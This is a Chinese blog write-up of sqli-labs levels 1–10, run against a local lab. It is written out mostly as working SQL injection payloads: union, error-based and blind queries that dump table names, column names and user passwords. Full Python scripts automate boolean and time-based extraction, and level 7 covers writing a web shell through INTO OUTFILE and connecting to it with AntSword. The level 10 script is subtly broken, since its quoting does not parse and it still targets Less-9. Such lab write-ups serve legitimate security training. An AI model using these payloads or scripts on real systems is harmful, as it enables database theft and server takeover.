寒假在家没事做,给自己找点事做,想来想去还是做一些漏洞实验吧

搭建好环境后就可以开始做题了

level1

get提交参数id

首先提交1',判断是字符型还是数字型注入

image-20210130223925654

这里出现报错,说明是字符类型的,并且是用'将参数id包裹起来的。

接下来就是判断列数,爆表名,爆列名和数据库内容

0x1 确定列数并爆出表名

image-20210130213104147

当列数增加到4的时候开始报错,说明是三列

1
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

image-20210130213358017.png

0x2 爆列名

1
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 

这里的列名很多

1
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

0x3 爆出内容

选择password

1
?id=-1' union select 1,group_concat(password),3 from users--+ 

image-20210130213751401

level2

同样使用 id=1',判断是什么类型的注入

image-20210130214135139

可以发现输入的'没有其他的'与之闭合,导致报错,所以这是数字型注入

所以可以直接使用level1的注入语句,只需要删除 ‘ 即可

1
2
3
4
5
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

?id=-1 union select 1,group_concat(password),3 from users--+

level3

提交id=1'

image-20210130214628110

分析一下报错原因

出错的语句为

1
'1'') LIMIT 0,1 

其中1’输入的内容,所以包裹参数的格式为('id')

注入语句可以直接在level1的基础上增加一个 )即可

将原语句修改为

1
'1') 注入语句 --+ ') LIMIT 0,1 
1
2
3
4
5
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

?id=-1') union select 1,group_concat(password),3 from users--+

level4

同样输入id=1',但是这次没有报错,才是是使用了",换成id=1"

image-20210130215456338

很明显和level3基本相同,将'改为",就是这关的答案

level5

这题是字符型注入,但是不在回显所查询的内容,所以是盲注

查看源码也可以发现

image-20210130220440238

不在打印出所查询到的内容,所以是盲注,但是这关没有关闭报错回显,所以可以通过报错注入

报错注入

(1). 通过floor报错

and (select 1 from (select count(),concat((payload) from users limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错

and extractvalue(1, payload)

输出字符有长度限制,最长32位。

0x1 确定数据库名

1
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

image-20210130221306917

0x2 爆表名

1
?id=1' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

这里每次报错显示的信息只有一行,所以只能有 limit,一个一个的显示,直到找到目标表名

0x3 爆列名

1
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

0x4 爆内容

1
?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+

后面的内容可以通过改变limit后的第一个参数查看

level6

与level5很像

image-20210130223612822

但是这里是用 “包裹参数,所以只需要将上面的注入语句中的 ‘ 改为 “即可

level7

提交id=1,出现提示

image-20210131230645205

需要使用outfile函数

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个

  • into dumpfile()
  • into outfile()
  • load_file()

这里我们利用outfile函数

首先确定这关包裹参数的格式

一直测试到id=1')) --+,才显示正确所以可以确定参数的包裹格式为(('id'))

0x1 向网站根目录写入一句话木马

image-20210131233508732

执行后就可以在根目录中看到这个文件

image-20210131233433411

0x2 使用蚁剑连接

1
2
127.0.0.1/3.php
密码:cmd

image-20210131233415258

level8

根据标题和测试结果可以看出是盲注

首先判断是什么类型注入

提交id=1,显示结果为You are in,可以确定成功查询返回的结果

提交id=1',没有提示You are in,但是提交id=1' --+,再次出现You are in,可以确定是字符型注入,包裹形式为'id'

接下来就是确定盲注使用的语句,这里可以使用 asciisubstring两个函数

0x1 爆出数据库名

1
?id=1' and ascii(substring(database(),1,1))>97%23

首先假设数据库名的第一个字母的ascii码值大于97,回显为you are in,所以确定第一个字母大于97,之后可以使用二分法确定出最后的字母。

可以使用脚本完成该过程,脚本跑出的结果为 security

image-20210201120357770

0x2 爆出表名

使用注入语句

1
id=1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23

最后爆出的表名如下

0x3 爆出列名

1
id=1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1})%23

image-20210201140521465

0x4 爆出内容

1
id=1' and (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23

image-20210201141626668

完整脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url = "http://127.0.0.1/sqli-labs/Less-8/?id="

flag = ""
t = ""
sum=0
for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# payload = "1' and ascii(substring(database(),{0},1))>{1}%23".format(i,mid)
# payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23".format(i,mid)
# payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1})%23".format(i,mid)
payload = "1' and (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23".format(i,mid)

response = requests.get(url+payload)
t = response.text
if "You are in" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
# print(mid)
flag = flag + chr(mid)
print(flag)
print(flag)

level9

题目标题提示了是基于时间且单引号闭合的盲注

基于时间的盲注需要使用到sleep函数,基本用法如下

分别提交id=1id=1' and sleep(3) --+,其服务器的响应时间如下,第二个的响应时间正好比第一个长了三秒,所以可以根据服务器的响应时间来判断自己所查询的语句是否正确,一般需要编写脚本完成所有步骤。

image-20210201213644564

image-20210201213715695

注入脚本只需要改一改level8的即可。

完整脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import datetime
url = "http://127.0.0.1/sqli-labs/Less-9/?id="

flag = ""

for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# payload = "1' and if(ascii(substring(database(),{0},1))>{1},sleep(2),null) %23".format(i,mid)
payload = "1' and if((select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1' and if((select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1' and if((select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1}),sleep(2),null)%23".format(i,mid)
t1 = datetime.datetime.now()
response = requests.get(url+payload)
t2 = datetime.datetime.now()
if (t2 - t1).seconds > 2 :
left = mid+1
else:
right = mid
mid=(right+left)>>1

flag = flag + chr(mid)
print(flag)
print(flag)

爆破数据库名的过程如下

image-20210201220840369

level10

与level9基本相同,只需要将payload中的'换成"即可

完整脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import datetime
url = "http://127.0.0.1/sqli-labs/Less-9/?id="

flag = ""

for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# payload = "1" and if(ascii(substring(database(),{0},1))>{1},sleep(2),null) %23".format(i,mid)
payload = "1" and if((select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1" and if((select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1}),sleep(2),null)%23".format(i,mid)
# payload = "1" and if((select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1}),sleep(2),null)%23".format(i,mid)
t1 = datetime.datetime.now()
response = requests.get(url+payload)
t2 = datetime.datetime.now()
if (t2 - t1).seconds > 2 :
left = mid+1
else:
right = mid
mid=(right+left)>>1

flag = flag + chr(mid)
print(flag)
print(flag)